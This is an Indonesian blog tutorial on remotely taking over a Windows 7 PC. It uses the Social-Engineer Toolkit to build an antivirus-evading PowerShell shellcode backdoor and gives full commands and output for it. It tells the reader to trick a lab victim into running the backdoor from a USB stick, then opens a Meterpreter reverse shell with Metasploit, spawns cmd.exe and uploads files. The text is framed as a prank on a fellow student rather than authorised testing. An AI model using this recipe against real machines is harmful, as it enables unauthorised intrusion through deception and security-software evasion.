Cara Hack Windows 7 dengan S.E.T dan Metasploit

Oke kali ini saya akan share tutorial cara meremote komputer korban dengan metasploit. Tools ini sudah tersedia di distro pentest linux seperti backbox, backtrack, kali linux, blackbuntu dll. Yang saya gunakan disini adalah BackBox Linux. saya akan mempraktekkan cara meremote komputer target yang berada dalam satu jaringan. Victim menggunakan OS Windows 7 dan Firewall dalam keadaan aktif. Oh iya, doi juga pake antivirus Avast. jadi kalo cuma pake backdoor biasa untuk membuka meterpreter session, dijamin backdoor mu dihajar sama avast sebelum sempet di eksekusi.

Pertama, kita buat backdoor dulu. Disini kita menggunakan Social Engineering Toolkit yang sudah tersedia di BackBox.

root@backbox:~# setoolkit
............

Select from the menu:

1) Social-Engineering Attacks
2) Fast-Track Penetration Testing
3) Third Party Modules
4) Update the Social-Engineer Toolkit
5) Update SET configuration
6) Help, Credits, and About

99) Exit the Social-Engineer Toolkit

set> 1

Pilih nomor satu, Social-Engineering Attacks

Select from the menu:

1) Spear-Phishing Attack Vectors
2) Website Attack Vectors
3) Infectious Media Generator
4) Create a Payload and Listener
5) Mass Mailer Attack
6) Arduino-Based Attack Vector
7) Wireless Access Point Attack Vector
8) QRCode Generator Attack Vector
9) Powershell Attack Vectors
10) Third Party Modules

99) Return back to the main menu.

set> 9

Pilih nomor 9, karena kita akan membuat Powershell Attack Vectors

1) Powershell Alphanumeric Shellcode Injector
2) Powershell Reverse Shell
3) Powershell Bind Shell
4) Powershell Dump SAM Database

99) Return to Main Menu

set:powershell>1

pilih Powershell Alphanumeric Shellcode Injector

set> IP address for the payload listener: 10.11.12.29
set:powershell> Enter the port for the reverse [443]:6969
[*] Prepping the payload for delivery and injecting alphanumeric shellcode...
[*] Generating x86-based powershell injection code...
[*] Finished generating powershell injection bypass.
[*] Encoded to bypass execution restriction policy...
[*] If you want the powershell commands and attack, they are exported to /home/jackwilder/.set/reports/powershell/
set> Do you want to start the listener now [yes/no]: : no
[*] Powershell files can be found under /home/jackwilder/.set/reports/powershell/

Disitu tertulis “Powershell files can be found under /home/jackwilder/.set/reports/powershell/” . Coba buka folder nya, … ketemu.
File nya masih txt.
Rename jadi bentuk bat / cmd . Terserah.
Saatnya Social Engineering on action 😀

Tugas mu adalah menyebarkan file backdoor yang kamu buat tadi dan korban harus mengeksekusinya.
Berhubung saya anak lab, gampang aja :v .

Tinggal dalih mau copy tugas, bawa flashdisk mu, tancepin kesana, ya sambil copy tugas beneran gak apa apa, klik sendiri program nya :v .

Sampai disini bisa dibilang kita sudah melangkah 60%. Balik lagi ke BackBox kesayangan mu, buka metasploit.

root@b0x:~# msfconsole
=[ metasploit v4.10.1-dev [core:4.10.1.pre.dev api:1.0.0]]
+ -- --=[ 1344 exploits - 739 auxiliary - 217 post        ]
+ -- --=[ 340 payloads - 35 encoders - 8 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 10.11.12.29
LHOST => 10.11.12.29
msf exploit(handler) > set LPORT 6969
msf exploit(handler) > exploit

And…..

[*] Started reverse handler on 10.11.12.29:6969
[*] Starting the payload handler...
[*] Sending stage (769536 bytes) to 10.11.12.179
[*] Meterpreter session 1 opened (10.11.12.29:6969 -> 10.11.12.179:49164) at 2014-12-01 02:07:42 +0700

Welcome to Meterpreter Session..

meterpreter > sysinfo
Computer        : ISIS-PC
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x86
System Language : id_ID
Meterpreter     : x86/win32

Kalo pengen ngebuka cmd nya, lakukan perintah berikut

meterpreter > execute -M -f cmd.exe -i
Process 2404 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

Sebenernya masih banyak yang bisa dilakukan disini. tapi berhubung ane cuma iseng ane upload aja file koleksi ane ke victim .

meterpreter > upload /home/jackwilder/hello.txt D:
[*] uploading /home/jackwilder/hello.txt
[*] uploaded /home/jackwilder/hello.txt > D:hello.txt
meterpreter >

Sekian yang dapat saya berikan.
At least .Hack the Gibson…and remember…hugs are worth more than handshakes. 😉